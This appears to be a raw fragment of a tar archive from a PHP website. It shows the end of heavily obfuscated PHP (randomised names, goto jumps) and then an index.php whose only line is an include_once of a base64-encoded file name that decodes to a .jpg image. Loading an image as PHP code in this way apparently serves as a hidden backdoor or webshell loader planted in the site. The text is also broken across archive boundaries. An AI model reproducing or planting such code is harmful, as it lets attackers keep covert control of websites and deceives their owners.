$S78GJ7vWvoWx1AH5 = $cSDh0PgN6W2UlnH5("\176", "\40"); goto VA8fxl2tujJYAxgW; a4tZuuEFhnugfKdZ: vCMY_jcueR6lcOtp::dIseCKRGAioYCwMi(); ?> content/src/src/index.php 0000604 00000000076 15166416502 0011421 0 ustar 00 <?php include_once base64_decode("VmJhbE1tc3hUaHBDLmpwZw"); ?>